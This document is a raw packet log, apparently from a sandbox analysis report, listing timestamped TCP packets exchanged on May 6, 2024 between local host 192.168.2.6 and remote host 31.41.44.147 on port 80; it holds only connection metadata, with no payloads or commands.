May 6, 2024 02:52:54.921195030 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.921209097 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:54.921256065 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.091990948 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092047930 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092068911 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092108011 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092123985 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092137098 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092149973 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092163086 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092166901 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092176914 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092189074 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092191935 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092235088 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092250109 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092262983 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092272997 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092284918 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092288017 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092320919 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092334032 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092335939 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092349052 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092360020 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092382908 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092395067 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092408895 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092428923 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092462063 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092469931 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092483044 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092510939 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092513084 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092524052 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092536926 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092544079 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092550993 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092562914 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092566967 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092605114 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092742920 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092756987 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092784882 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092824936 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092839956 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092890024 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.092914104 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.092955112 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.093107939 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.093121052 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.093148947 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.093168974 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.093195915 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.093244076 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.093261003 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.093302011 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.192475080 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192488909 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192549944 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192559004 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.192572117 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192584991 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192596912 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192610025 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192610025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.192625046 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.192635059 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.192656040 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.192687988 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350378990 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350445032 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350506067 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350533009 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350544930 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350588083 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350681067 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350693941 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350706100 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350718975 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350728989 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350732088 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350776911 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350872040 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350886106 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350912094 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350924015 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350939035 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350950003 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350961924 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350961924 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350961924 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350984097 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.350990057 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.350996017 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351008892 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351048946 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351070881 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351083040 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351093054 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351099968 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351106882 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351113081 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351119041 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351119041 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351119041 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351133108 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351146936 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351155996 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351164103 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351212025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351221085 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351233959 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351255894 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351267099 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351270914 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351284027 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351295948 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351299047 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351311922 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351325035 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351330996 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351339102 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351353884 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351365089 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351365089 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351367950 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351399899 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351402044 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351417065 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351428032 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351433992 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351445913 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351460934 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351478100 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351484060 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351505995 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351517916 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351517916 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351530075 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351532936 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351562977 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351583958 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351596117 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351598024 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351610899 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351630926 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351644993 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351655960 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351679087 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351691961 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351691961 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351732969 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351733923 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351746082 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351749897 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351762056 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351774931 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351779938 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351802111 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351804972 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351833105 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351847887 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351850033 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351861000 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351883888 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351888895 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351897001 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351908922 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351912975 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351926088 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.351936102 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.351970911 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.450958967 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451061010 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451076031 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451088905 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451121092 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451137066 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451145887 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451149940 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451162100 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451180935 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451205015 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451205969 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451224089 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451241970 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451245070 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451256037 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451267958 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451280117 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451282024 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451292038 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451304913 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451316118 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451320887 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451328993 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.451344967 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.451369047 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609042883 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609117985 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609131098 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609129906 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609165907 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609195948 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609214067 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609240055 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609251976 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609256029 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609282970 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609286070 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609298944 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609303951 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609313011 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609325886 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609327078 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609352112 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609354973 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609369040 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609390974 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609395027 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609404087 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609430075 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609441042 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609451056 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609455109 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609467983 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609478951 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609486103 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609532118 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609535933 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609550953 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609560966 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609572887 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609579086 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609591007 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609605074 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609616041 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609620094 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609630108 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609642029 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609652996 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609654903 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609667063 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609674931 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609694958 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609710932 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609739065 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609745979 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609752893 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609767914 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609785080 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609791994 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609813929 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609814882 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609850883 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609867096 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609869957 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609884977 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609896898 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609913111 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609934092 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609945059 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609972954 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.609983921 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.609986067 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610016108 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610018969 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610042095 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610044003 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610054970 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610079050 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610081911 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610091925 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610131025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610131025 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610140085 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610152960 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610163927 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610177040 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610188007 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610188961 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610208035 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610227108 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610253096 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610265017 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610307932 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610320091 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610332012 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610342979 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610353947 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610359907 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610367060 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610379934 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610389948 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610392094 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610407114 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610418081 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610420942 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610440016 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610441923 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610464096 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610466003 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610497952 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610497952 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610522032 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610523939 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610538006 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610539913 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610560894 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610569000 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610577106 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610589981 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610593081 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610601902 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610603094 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610629082 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610658884 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610661983 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610672951 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610685110 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610697031 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610712051 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610723972 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610732079 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610739946 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610753059 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610763073 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610765934 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610802889 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610821009 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610826969 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610835075 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610847950 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610858917 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610862970 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610872030 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610883951 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610887051 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610908031 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610925913 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610929966 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610953093 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610953093 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610989094 CEST	49716	80	192.168.2.6	31.41.44.147
May 6, 2024 02:52:55.610996962 CEST	80	49716	31.41.44.147	192.168.2.6
May 6, 2024 02:52:55.610997915 CEST	49716	80	192.168.2.6	31.41.44.147
